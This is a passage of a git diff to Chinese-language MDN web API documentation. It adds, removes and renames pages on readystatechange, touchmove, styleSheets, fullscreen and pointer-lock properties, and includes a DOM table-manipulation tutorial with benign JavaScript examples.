
{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }} {{property_prefix("webkit")}}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }} {{property_prefix("moz")}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
Unprefixed support{{ CompatVersionUnknown() }}{{CompatUnknown}}{{CompatGeckoDesktop(50)}}   
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -

相关链接

- -
    -
  • {{ domxref("Document.exitPointerLock()") }}
  • -
  • {{ domxref("Element.requestPointerLock()") }}
  • -
  • Pointer Lock
  • -
diff --git a/files/zh-cn/web/api/document/readystatechange_event/index.html b/files/zh-cn/web/api/document/readystatechange_event/index.html new file mode 100644 index 0000000000..a4f95498ad --- /dev/null +++ b/files/zh-cn/web/api/document/readystatechange_event/index.html @@ -0,0 +1,149 @@ +--- +title: 'Document: readystatechange 事件' +slug: Web/Events/readystatechange事件 +tags: + - Reference + - XMLHttpRequest + - interactive + - 事件 +translation_of: Web/API/Document/readystatechange_event +--- +
{{APIRef}}
+ +

当文档的 {{domxref("Document.readyState", "readyState")}} 属性发生改变时,会触发 readystatechange 事件。

+ + + + + + + + + + + + + + + + + + + + +
是否冒泡
是否可取消
接口{{domxref("Event")}}
Event handler 属性onreadystatechange
+ +

示例

+ +

实时演示

+ +

HTML

+ +
<div class="controls">
+  <button id="reload" type="button">Reload</button>
+</div>
+
+<div class="event-log">
+  <label>Event log:</label>
+  <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea>
+</div>
+ + + +

JS

+ +
const log = document.querySelector('.event-log-contents');
+const reload = document.querySelector('#reload');
+
+reload.addEventListener('click', () => {
+  log.textContent ='';
+  window.setTimeout(() => {
+      window.location.reload(true);
+  }, 200);
+});
+
+window.addEventListener('load', (event) => {
+    log.textContent = log.textContent + 'load\n';
+});
+
+document.addEventListener('readystatechange', (event) => {
+    log.textContent = log.textContent + `readystate: ${document.readyState}\n`;
+});
+
+document.addEventListener('DOMContentLoaded', (event) => {
+    log.textContent = log.textContent + `DOMContentLoaded\n`;
+});
+
+
+ +

结果

+ +

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("HTML WHATWG", "indices.html#event-readystatechange", "readystatechange")}}{{Spec2("HTML WHATWG")}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.readystatechange_event")}}

+ +

IE 浏览器是一直支持 readystatechange 事件的,可作为 DOMContentLoaded 事件的替代方法(参见Browser compatibility的注释 [2])。

+ +

参见

+ +
    +
  • {{event("DOMContentLoaded")}}
  • +
  • {{event("load")}}
  • +
  • {{event("beforeunload")}}
  • +
  • {{event("unload")}}
  • +
diff --git a/files/zh-cn/web/api/document/rouchmove_event/index.html b/files/zh-cn/web/api/document/rouchmove_event/index.html deleted file mode 100644 index 1321a0c4d2..0000000000 --- a/files/zh-cn/web/api/document/rouchmove_event/index.html +++ /dev/null @@ -1,171 +0,0 @@ ---- -title: touchmove -slug: Web/API/Document/rouchmove_event -translation_of: Web/API/Document/touchmove_event ---- -
{{APIRef}}
- -

当触点在触控平面上移动时触发touchmove事件。

- -

常规信息

- -
-
规范
-
Touch Events
-
接口
-
{{domxref("TouchEvent")}}
-
是否冒泡
-
Yes
-
能否取消默认行为
-
Yes
-
目标
-
Document, Element
-
默认行为
-
-
- -

属性

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}EventTargetThe event target (the topmost target in the DOM tree).
type {{readonlyInline}}DOMStringThe type of event.
bubbles {{readonlyInline}}BooleanWhether the event normally bubbles or not.
cancelable {{readonlyInline}}BooleanWhether the event is cancellable or not.
view {{readonlyInline}}WindowProxydocument.defaultView (window of the document)
detail {{readonlyInline}}long (float)0.
touches {{readonlyInline}}TouchListA list of Touches for every point of contact currently touching the surface.
targetTouches {{readonlyInline}}TouchListA list of Touches for every point of contact that is touching the surface and started on the element that is the target of the current event.
changedTouches {{readonlyInline}}TouchListA list of Touches for every point of contact which contributed to the event.
- For the touchstart event this must be a list of the touch points that just became active with the current event. For the touchmove event this must be a list of the touch points that have moved since the last event. For the touchend and touchcancel events this must be a list of the touch points that have just been removed from the surface.
ctrlKey {{readonlyInline}}booleantrue if the control key was down when the event was fired. false otherwise.
shiftKey {{readonlyInline}}booleantrue if the shift key was down when the event was fired. false otherwise.
altKey {{readonlyInline}}booleantrue if the alt key was down when the event was fired. false otherwise.
metaKey {{readonlyInline}}booleantrue if the meta key was down when the event was fired. false otherwise.
- -

示例

- -

这些事件的代码示例在这个页面 Touch events 中均有体现。

- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome("22.0")}}{{CompatGeckoDesktop("18.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("6.0")}}{{CompatVersionUnknown}}11{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

相关事件

- -
    -
  • {{ domxref("GlobalEventHandlers.ontouchmove","ontouchmove")}}
  • -
diff --git a/files/zh-cn/web/api/document/stylesheets/index.html b/files/zh-cn/web/api/document/stylesheets/index.html deleted file mode 100644 index de44c8537b..0000000000 --- a/files/zh-cn/web/api/document/stylesheets/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Document.styleSheets -slug: Web/API/Document/styleSheets -translation_of: Web/API/DocumentOrShadowRoot/styleSheets -translation_of_original: Web/API/Document/styleSheets ---- -
{{APIRef}}
- -

Document.styleSheets 只读属性,返回一个由 {{domxref("StyleSheet ")}} 对象组成的 {{domxref("StyleSheetList")}},每个 {{domxref("StyleSheet ")}} 对象都是一个文档中链接或嵌入的样式表。

- -

语法

- -
let styleSheetList = document.styleSheets;
-
- -

返回的对象是一个 {{domxref("StyleSheetList")}}。

- -

它是一个 {{domxref("StyleSheet")}} 对象的有序集合。styleSheetList.item(index) 或 styleSheetList{{ mediawiki.External('index') }} 根据它的索引(索引基于0)返回一个单独的样式表对象。

- -
 
- -

规范

- - diff --git a/files/zh-cn/web/api/document/touchmove_event/index.html b/files/zh-cn/web/api/document/touchmove_event/index.html new file mode 100644 index 0000000000..1321a0c4d2 --- /dev/null +++ b/files/zh-cn/web/api/document/touchmove_event/index.html @@ -0,0 +1,171 @@ +--- +title: touchmove +slug: Web/API/Document/rouchmove_event +translation_of: Web/API/Document/touchmove_event +--- +
{{APIRef}}
+ +

当触点在触控平面上移动时触发touchmove事件。

+ +

常规信息

+ +
+
规范
+
Touch Events
+
接口
+
{{domxref("TouchEvent")}}
+
是否冒泡
+
Yes
+
能否取消默认行为
+
Yes
+
目标
+
Document, Element
+
默认行为
+
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}EventTargetThe event target (the topmost target in the DOM tree).
type {{readonlyInline}}DOMStringThe type of event.
bubbles {{readonlyInline}}BooleanWhether the event normally bubbles or not.
cancelable {{readonlyInline}}BooleanWhether the event is cancellable or not.
view {{readonlyInline}}WindowProxydocument.defaultView (window of the document)
detail {{readonlyInline}}long (float)0.
touches {{readonlyInline}}TouchListA list of Touches for every point of contact currently touching the surface.
targetTouches {{readonlyInline}}TouchListA list of Touches for every point of contact that is touching the surface and started on the element that is the target of the current event.
changedTouches {{readonlyInline}}TouchListA list of Touches for every point of contact which contributed to the event.
+ For the touchstart event this must be a list of the touch points that just became active with the current event. For the touchmove event this must be a list of the touch points that have moved since the last event. For the touchend and touchcancel events this must be a list of the touch points that have just been removed from the surface.
ctrlKey {{readonlyInline}}booleantrue if the control key was down when the event was fired. false otherwise.
shiftKey {{readonlyInline}}booleantrue if the shift key was down when the event was fired. false otherwise.
altKey {{readonlyInline}}booleantrue if the alt key was down when the event was fired. false otherwise.
metaKey {{readonlyInline}}booleantrue if the meta key was down when the event was fired. false otherwise.
+ +

示例

+ +

这些事件的代码示例在这个页面 Touch events 中均有体现。

+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome("22.0")}}{{CompatGeckoDesktop("18.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("6.0")}}{{CompatVersionUnknown}}11{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

相关事件

+ +
    +
  • {{ domxref("GlobalEventHandlers.ontouchmove","ontouchmove")}}
  • +
diff --git a/files/zh-cn/web/api/document_object_model/preface/index.html b/files/zh-cn/web/api/document_object_model/preface/index.html deleted file mode 100644 index 80f115abfd..0000000000 --- a/files/zh-cn/web/api/document_object_model/preface/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: 前言 -slug: Web/API/Document_Object_Model/Preface -translation_of: Web/API/Document_Object_Model -translation_of_original: Web/API/Document_Object_Model/Preface ---- -

{{ ApiRef() }}

-

关于此参考文档

-

本节将描述与此向导本身相关的一些内容,内容包括它是做什么的,里面的信息是如何呈现的,以及怎样在你DOM开发中如何使用这份参考文档中的示例。

-

注意,这份文档尚在开发中,并没有完整包含Gecko中所有已经移植的DOM方法及其属性,但是,文档中的每一个小节(例如,DOM文件参考)中所描述的对象是完整的。今后当某个API库的成员的信息可用时,它将会被整合到此文档中。

-

哪些人应该阅读这份指南

-

这份Gecko DOM参考文档的读者应该是一位web开发人员或者是一位对网页制作有一定了解的熟练web用户。这份文档对读者对DOM、XML、web服务或者web标准,甚至JavaScript——DOM呈现给读者的语言——的熟练度都没有要求。但是,本文档假定读者至少对HTML、标签、网页的基本结构、浏览器以及样式表是熟悉的。

-

在这里,介绍性的资料在展示的同时伴随有许多示例,并且高等级的解释对没有经验的和经验丰富的web开发者都同样有用,并且也并不仅仅针对入门开发者。然而,这是一份正在不断改进中的API参考手册。

-

什么是Gecko?

-

Mozilla,Firefox, Netscape 6以上版本,以及一些基于Mozilla的其他浏览器都有一个相同的对DOM的实现。这是因为它们使用的是相同的技术。

-

Gecko,即在上述各种浏览器中处理HTML的解析,页面的排版,文档对象模型,以及整个应用界面的渲染的软件组件,是一个快速的、兼容多种标准的渲染引擎。它移植了W3C的DOM标准以及出现在网页页面和应用界面(或者称为chrome)中的类DOM(但尚未标准化)的浏览器对象模型(即所谓window等的)。

-

尽管应用界面和页面内容在不同的浏览器里的呈现方式不一样,但是DOM期望它们统一地作为一种节点的分层结构。

-

API语法

-

API参考里的每个描述都包括语法、输入输出参数(包括返回类型),一个例子,额外的一些提示,以及指向对应参考文档的链接。

-

只读的属性只能被读取。因为它们无法被设置,所以通常以一个单独的一行语法表示。例如screen对象的只读属性availHeight使用的语法如下:

-
iAvail = window.screen.availHeight
-
-

这意味着你只能把该只读属性放在等式的右边。

-

可读/写的属性,既能被读取也能被写入:

-
msg = window.status
-window.status = msg
-
-

一般来说,描述对象的成员时,对象的格式声明通常都带有一个简单的类型描述符,例如,对所有的元素使用element,对所有的顶层文档对象使用document,对所有的表对象使用table等(详见重要的数据类型)。

-

如何使用示例

-

本参考文档中的许多示例都是完整的文档,你可以把他们复制粘贴到一个新的文件,然后在浏览器中打开它。

-

其他的例子是一些代码片段。你可以把它们加入到JavaScript的回调函数中来执行。

-

例如,这个关于window.document属性的例子能通过一个函数来测试。这里,它通过一个按钮的onclick 属性来调用。

-
<html>
-<head>
-<title>Test Page</title>
-<script type="text/javascript">
-function testWinDoc() {
-
-  var doc= window.document;
-
-  alert(doc.title);
-
-}
-</script>
-</head>
-
-<body>
-  <button onclick="testWinDoc();">test document property</button>
-</body>
-</html>
-
-

其他一些尚未完整打包的对象成员也采用与此类似的函数和页面。参见测试DOM API,可以一次对各种API的做一次“无害测试”。

diff --git a/files/zh-cn/web/api/document_object_model/traversing_an_html_table_with_javascript_and_dom_interfaces/index.html b/files/zh-cn/web/api/document_object_model/traversing_an_html_table_with_javascript_and_dom_interfaces/index.html new file mode 100644 index 0000000000..9d18892707 --- /dev/null +++ b/files/zh-cn/web/api/document_object_model/traversing_an_html_table_with_javascript_and_dom_interfaces/index.html @@ -0,0 +1,338 @@ +--- +title: 使用Javascript和DOM Interfaces来处理HTML +slug: 使用Javascript和DOM_Interfaces来处理HTML +tags: + - DOM +translation_of: >- + Web/API/Document_Object_Model/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces +--- +
+

简介

+ +

本文概述了一些强大的,基本的DOM 1 级别中的方法以及如何在JavaScript中使用它们。你将会如何动态地创建,访问,控制以及移除HTML元素。这里提到的DOM方法,并非是HTML专有的;它们在XML中同样适用。这里所有的示例,在任何全面支持DOM level1 的浏览器里都能正常工作;例如Mozilla浏览器或者其他基于Mozilla的浏览器,像网景公司的下一代导航者(Navigatior)浏览器等。这里的示例代码在IE5中也能正常工作。

+ +
这里所提到的DOM方法是文档对象模型规范(版本一)的核心的一部分。DOM 1版本包括对文档进行访问和处理的方法(DOM 1 核心)和专门为HTML文档定义的方法。
+ +

Sample1.html概览

+ +

这段文字是通过一个实例代码来介绍了DOM的。那么我们从下面的HTML示例来开始吧。这段示例使用了DOM1的方法,从JavaScript动态创建了一个HTML表格。它创建了一个包含了四个单元格,并且在每个单元格中含有文本。单元中文字内容是“这个单元式y行x列”,来展示单元格在表格中所处的位置。

+ +
<head>
+<title>样例代码 - 使用 JavaScript 和 DOM 接口创建一个 HTML 表格</title>
+<script>
+    function start() {
+        // 获得从body的引用
+        var mybody=document.getElementsByTagName("body").item(0);
+        // 创建一个TABLE的元素
+        var mytable = document.createElement("TABLE");
+        // 创建一个TBODY的元素
+        var mytablebody = document.createElement("TBODY");
+        // 创建所有的单元格
+        for(j=0;j<2;j++) {
+            // 创建一个TR元素
+          var  mycurrent_row=document.createElement("TR");
+            for(i=0;i<2;i++) {
+                // 创建一个TD元素
+              var  mycurrent_cell=document.createElement("TD");
+                // 创建一个文本(text)节点
+              var  currenttext=document.createTextNode("cell is row "+j+", column "+i);
+                // 将我们创建的这个文本节点添加在TD元素里
+                mycurrent_cell.appendChild(currenttext);
+                // 将TD元素添加在TR里
+                mycurrent_row.appendChild(mycurrent_cell);
+            }
+            // 将TR元素添加在TBODY里
+            mytablebody.appendChild(mycurrent_row);
+        }
+        // 将TBODY元素添加在TABLE里
+        mytable.appendChild(mytablebody);
+        // 将TABLE元素添加在BODY里
+        mybody.appendChild(mytable);
+        // 设置mytable的边界属性border为2
+        mytable.setAttribute("border","2");
+    }
+</script>
+</head>
+<body onload="start()">
+</body>
+</html>
+
+ +

注意我们创建元素和文本节点的顺序:

+ +
    +
  1. 首先我们创建了TABLE元素。
  2. +
  3. 然后,我们创建了TABLE的子元素--TBODY。
  4. +
  5. 然后,我们使用循环语句创建了TBODY的子元素--TR。
  6. +
  7. 对于每一个TR元素,我们使用一个循环语句创建它的子元素--TD。
  8. +
  9. 对于每一个TD元素,我们创建单元格内的文本节点。
  10. +
+ +

现在,我们创建了TABLE,TBODY,TR,TD等元素,然后创建了文本节点;接下来,我们将每一个对象接在各自的父节点上,使用逆序:

+ +
    +
  1. 首先,我们将每一个文本节点接在TD元素上 +
    mycurrent_cell.appendChild(currenttext);
    +
  2. +
  3. 然后,我们将每一个TD元素接在他的父TR元素上。 +
    mycurrent_row.appendChild(mycurrent_cell);
    +
  4. +
  5. 然后,我们将每一个TR元素接在他们的父TBODY元素上。 +
    mytablebody.appendChild(mycurrent_row);
    +
  6. +
  7. 下一步,我们将TBODY元素接在他的父TABLE元素上 +
    mytable.appendChild(mytablebody);
    +
  8. +
  9. 最后,我们将TABLE元素接在他的父元素BODY上。 +
    mybody.appendChild(mytable);
    +
  10. +
+ +

请记住这个机制。你将会在W3C DOM编程中经常使用它。首先,你从上到下的创建元素;然后你从下向上的将子元素接在他们的父元素上。

+ +

下面是由javascript代码生成的HTML代码:

+ +
...
+<table border="2">
+<tbody>
+<tr><td>cell is row 0 column 0</td><td>cell is row 0 column 1</td></tr>
+<tr><td>cell is row 1 column 0</td><td>cell is row 1 column 1</td></tr>
+</tbody>
+</table>
+...
+
+ +

下面是由代码生成的TABLE及其子元素的DOM对象树:

+ +

Image:sample1-tabledom.jpg

+ +

你可以只用一些DOM方法来创建这个表格和它内部的子元素。请在脑海中时刻保留你想要创建的数据结构的树之模型,这样有利于更简便的写出必须的代码。在图1的TABLE树中,TABLE有一个子元素TBODY。TBODY有两个子元素。每一个TR又含有两个子元素(TD)。最后,每一个TD有一个子元素--文本节点。

+ +

基本DOM方法 - Sample2.html

+ +

getElementByTagName是文档接口(Document interface)和元素接口(Element interface)的中的方法,所以不管是根文档对象还是所有的元素对象都含有方法getElementByTagName。用来通过它们的标签名称(tag name)来获得某些元素的一系列子元素。你可以使用的方法是:element.getElementsByTagName(tagname)

+ +

getElementsByTagName返回一个有特定标签名称(tagname)的子元素列表。从这个子元素列表中,你可以通过调用item和你想得到的元素的下标,来获得单个元素。列表中第一个元素的下标是0。上面的方法很简单,但是当你操作一个巨大的数据结构时还是应该小心一些。 OK,我们下一个话题中要继续对我们的表格例子进行修改。下面的示例更加简单,它意图展示一些基础的方法:

+ +
<html>
+<head>
+<title>样例代码 - 使用 JavaScript 和 DOM 接口操作 HTML 表格</title>
+<script>
+    function start() {
+        // 获得所有的body元素列表(在这里将只有一个)
+        myDocumentElements=document.getElementsByTagName("body");
+        // 我们所需要body元素是这个列表的第一个元素
+        myBody=myDocumentElements.item(0);
+        // 现在,让我们获得body的子元素中所有的p元素
+        myBodyElements=myBody.getElementsByTagName("p");
+        // 我们所需要的是这个列表中的第二个单元元素
+        myP=myBodyElements.item(1);
+    }
+</script>
+</head>
+<body onload="start()">
+<p>hi</p>
+<p>hello</p>
+</body>
+</html>
+
+ +

在这个例子中,我们设置变量myP指向DOM对象body中的第二个p元素:

+ +
    +
  1. 首先,我们使用下面的代码获得所有的body元素的列表,因为在任何合法的HTML文档中都只有一个body元素,所以这个列表是只包含一个单元的。 +
    document.getElementsByTagName("body")
    +
  2. +
  3. 下一步,我们取得列表的第一个元素,它本身就会body元素对象。 +
    myBody=myDocumentElements.item(0);
    +
  4. +
  5. 然后,我们通过下面代码获得body的子元素中所有的p元素 +
    myBodyElements=myBody.getElementsByTagName("p");
    +
  6. +
  7. 最后,我们从列表中取第二个单元元素。 +
    myP=myBodyElements.item(1);
    +
  8. +
+ +

Image:sample2a2.jpg

+ +

一旦你取得了HTML元素的DOM对象,你就可以设置它的属性了。比如,如果你希望设置背景色属性,你只需要添加:

+ +
myP.style.background="rgb(255,0,0)";
+// 设置inline的背景色风格
+
+
+ +

使用document.createTextNode(..)创建文本节点

+ +

使用文档对象来调用一个createTextNode方法并创建你自己的文本节点。你只需要传递文字内容给这个函数。返回的值就是一个展示那个文本节点信息的对象。

+ +
myTextNode=document.createTextNode("world");
+
+ +

这表示你已经创建了一个TEXT——NODE(一个文字片断)类型的节点,并且它的内容是“world”,任何你对myTextNode的引用都指向这个节点对象。如果想将这个文本插入到HTML页面中,你还需要将它作为其他节点元素的子元素。

+ +

使用appendChild(..)插入元素

+ +

那么,通过调用myP.appendChild({{ mediawiki.external('node_element') }})你可以将这个元素设置成为第二个P的一个新的子元素。

+ +
myP.appendChild(myTextNode);
+
+ +

在测试了这个例子之后,我们注意到,hello和world单词被组合在了一个:helloworld。事实上,当你看到HTML页面时,hello和world两个文字节点看起来更像是一个节点。但是请记住它们在文档模型中的形式--是两个节点。第二个节点是一个TEXT_NODE类型的新节点,也是第二个P标签的第二个子元素。下面的图标将在文档树种展示最近创建的文本节点对象。

+ +

Image:sample2b2.jpg

+ +
createTextNode 和 appendChild 是在单词hello和world之间设置空格的一个简单方法。另外一个重要的注意事项是:appendChild方法将把新的子节点接在最后一个子节点之后,正如world被加在了hello之后。所以如果你想在hello和world中间添加一个文本节点的话,你应该使用insertBefore而不是appendChild.
+ +

使用文档对象和createElement(..)方法创建新的元素

+ +

你可以使用createElement来创建新的HTML元素或者任何其它你想要的元素。比如,如果你想要创建一个新的P作为BODY的子元素,你可以使用前面例子的myBody并给它接上一个新的元素节点。使用 document.createElement("tagname")可以方便的创建一个节点。如下:

+ +
myNewPTAGnode=document.createElement("p");
+myBody.appendChild(myNewPTAGnode);
+
+ +

Image:sample2c.jpg

+ +

使用removeChild(..)方法移除节点

+ +

每一个节点都可以被移除.下面的一行代码移除了包含在myP(第二个p元素)下面的文本节点world。

+ +
myP.removeChild(myTextNode);
+
+ +

最后你可以将myTextNode(那个包含了world单词的节点)添加给我们最后创建的P元素:

+ +
myNewPTAGnode.appendChild(myTextNode);
+
+ +

被修改的对象树的最后的状态如下:

+ +

Image:sample2d.jpg

+ +

动态创建一个表格(回到Sample1.html)

+ +

这一段落的剩余部分我们将继续修改我们sample1.html。下面的图展示了我们在示例中创建的表格的对象树的结构。

+ +

复习一下HTML表格结构

+ +

Image:sample1-tabledom.jpg

+ +

创建元素节点并将他们插入到文档树中

+ +

sample1.html中创建表格的基本步骤是:

+ +
    +
  • 获得body对象(文档对象的第一个元素)
  • +
  • 创建所有元素。
  • +
  • 最后,根据表格结构(上面图中所示)将每一个孩子节点拼接起来。下面的一段源码是经过修改的sample1.html
  • +
+ +
在start函数的最后,有一行新代码。使用另一个DOM方法(setAttribute)来设置表格的边界属性。setAttribute有两个参数:属性的名称和属性的值。你可以使用这个方法来设置任意元素的任意属性。
+ +
<head>
+<title>示例代码 - 使用Javascript和DOM Interfaces来处理HTML</title>
+<script>
+    function start() {
+        // 获得body的引用
+        var mybody=document.getElementsByTagName("body").item(0);
+        // 创建一个标签名称为TABLE的元素
+        mytable = document.createElement("TABLE");
+        // 创建一个标签名称为在TBODY的元素
+        mytablebody = document.createElement("TBODY");
+        // 创建所有的单元格
+        for(j=0;j<2;j++) {
+            // 创建一个标签名称为在TR的元素
+            mycurrent_row=document.createElement("TR");
+            for(i=0;i<2;i++) {
+                // 创建一个标签名称为在TD的元素
+                mycurrent_cell=document.createElement("TD");
+                // 创建一个文字节点
+                currenttext=document.createTextNode("cell is row "+j+", column "+i);
+                // 将文字节点添加到TD单元格内
+                mycurrent_cell.appendChild(currenttext);
+                // 将TD单元格添加到TR行中
+                mycurrent_row.appendChild(mycurrent_cell);
+            }
+            // 将TR行添加到TBODY中
+            mytablebody.appendChild(mycurrent_row);
+        }
+        // 将TBODY添加到TABLE中
+        mytable.appendChild(mytablebody);
+        // 将TABLE添加到BODY中
+        mybody.appendChild(mytable);
+        // 设置边界属性为2
+        mytable.setAttribute("border","2");
+    }
+</script>
+</head>
+<body onload="start()">
+</body>
+</html>
+
+ +

使用CSS和DOM来操作表格

+ +

从表格中获得一个文字节点

+ +

示例介绍了两个新的DOM属性。首先,使用childNodes属性来获得mycel的孩子节点列表。childNodes列表包括所有的孩子节点,无论它们的名称或类型是什么。像getElemengByTagName一样,它返回了一个节点列表。不同的是,getElementByTagName只返回指定标签名称的元素。一旦你获得了返回的列表,你可以使用item(x)方法来使用指定的元素。这个例子在表格的第二行第二个单元格中的myceltext中保存了一个文字节点。然后,运行这个例子并观察结果,他创建了一个新的文字节点,这个文字节点的内容是myceltext的值,并且将这个文字节点作为了BODY元素的一个孩子。

+ +
如果你的对象是一个文字节点,你可以使用data属性来回收(retrieve)节点的文字内容
+ +
mybody=document.getElementsByTagName("body").item(0);
+mytable=mybody.getElementsByTagName("table").item(0);
+mytablebody=mytable.getElementsByTagName("tbody").item(0);
+myrow=mytablebody.getElementsByTagName("tr").item(1);
+mycel=myrow.getElementsByTagName("td").item(1);
+// mycel的孩子节点列表的第一个元素
+myceltext=mycel.childNodes.item(0);
+// currenttext的内容是myceltext的内容
+currenttext=document.createTextNode(myceltext.data);
+mybody.appendChild(currenttext);
+
+ +

获得一个属性的值

+ +

在sample1的最后我们在mytable对象上调用了setAttribute。这个调用是用来设置表格的边界属性的。然后是用了getAttribute方法来获得一个属性的值:

+ +
mytable.getAttribute("border");
+
+ +

通过改变样式属性来隐藏一列

+ +

一旦你在你的javascript变量中保存了一个对象,你就可以直接为它设置样式属性了。下面的代码是修改后的sample1.html,在这里,第二列的每一个单元格都被隐藏了。而且第一列中的每一个单元格改为使用红色背景。注意,样式属性是被直接设置的。

+ +
<html>
+<body onload="start()">
+</body>
+<script>
+    function start() {
+       var mybody=document.getElementsByTagName("body").item(0);
+       mytable = document.createElement("TABLE");
+       mytablebody = document.createElement("TBODY");
+       for(j=0;j<2;j++) {
+           mycurrent_row=document.createElement("TR");
+           for(i=0;i<2;i++) {
+               mycurrent_cell=document.createElement("TD");
+               currenttext=document.createTextNode("cell is:"+i+j);
+               mycurrent_cell.appendChild(currenttext);
+               mycurrent_row.appendChild(mycurrent_cell);
+               // 当column为0时,设置单元格背景色;column为1时隐藏单元格
+               if(i==0) {
+                   mycurrent_cell.style.background="rgb(255,0,0)";
+               } else {
+                   mycurrent_cell.style.display="none";
+               }
+           }
+           mytablebody.appendChild(mycurrent_row);
+       }
+       mytable.appendChild(mytablebody);
+       mybody.appendChild(mytable);
+    }
+</script>
+</html>
+
+ +
+{{ languages( { "en": "en/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces", "fr": "fr/Explorer_un_tableau_HTML_avec_des_interfaces_DOM_et_JavaScript", "ja": "ja/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces" } ) }}
diff --git a/files/zh-cn/web/api/documentorshadowroot/fullscreenelement/index.html b/files/zh-cn/web/api/documentorshadowroot/fullscreenelement/index.html new file mode 100644 index 0000000000..d87cd89683 --- /dev/null +++ b/files/zh-cn/web/api/documentorshadowroot/fullscreenelement/index.html @@ -0,0 +1,77 @@ +--- +title: document.mozFullScreenElement +slug: Web/API/Document/mozFullScreenElement +translation_of: Web/API/DocumentOrShadowRoot/fullscreenElement +--- +

{{ ApiRef() }}

+

概述

+

返回当前文档中正在以全屏模式显示的{{ domxref("Element") }}节点,如果没有使用全屏模式,则返回null.

+

语法

+
var element = document.mozFullScreenElement;
+
+

示例

+
function isVideoInFullsreen() {
+  if (document.mozFullScreenElement && document.mozFullScreenElement.nodeName == 'VIDEO') {
+    console.log('您的视频正在以全屏模式显示');
+  }
+}
+

辅助

+

查看使用"全屏模式"页面了解详情.

+

浏览器兼容性

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatUnknown() }}{{ CompatGeckoDesktop("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+

规范

+

该方法提案已经进入相关规范草案 http://dvcs.w3.org/hg/fullscrezh-CN/raw-file/tip/Overview.html#dom-document-fullscreenelement

+

相关链接

+
    +
  • Using full-screen mode
  • +
  • {{ domxref("element.mozRequestFullScreen()") }}
  • +
  • {{ domxref("document.mozCancelFullScreen()") }}
  • +
  • {{ domxref("document.mozFullScreen") }}
  • +
  • {{ domxref("document.mozFullScreenEnabled") }}
  • +
  • {{ cssxref(":-moz-full-screen") }}
  • +
  • {{ HTMLAttrXRef("allowfullscreen", "iframe") }}
  • +
diff --git a/files/zh-cn/web/api/documentorshadowroot/pointerlockelement/index.html b/files/zh-cn/web/api/documentorshadowroot/pointerlockelement/index.html new file mode 100644 index 0000000000..eb6ed9cf98 --- /dev/null +++ b/files/zh-cn/web/api/documentorshadowroot/pointerlockelement/index.html @@ -0,0 +1,105 @@ +--- +title: Document.pointerLockElement +slug: Web/API/Document/pointerLockElement +translation_of: Web/API/DocumentOrShadowRoot/pointerLockElement +--- +
{{APIRef("DOM")}}
+ +

pointerLockElement 特性规定了如在鼠标事件中当目标被锁定时的元素集和。如果指针处于锁定等待中、指针没有被锁定,或者目标在另外一个文档中这几种情况,返回的值null。

+ +

语法

+ +
var element = document.pointerLockElement;
+
+ +

返回值

+ +

An {{domxref("Element")}} or null.

+ +

特性

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Pointer Lock','l#extensions-to-the-document-interface','Document')}}{{Spec2('Pointer Lock')}}Extend the Document interface
+ +

浏览器兼容

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
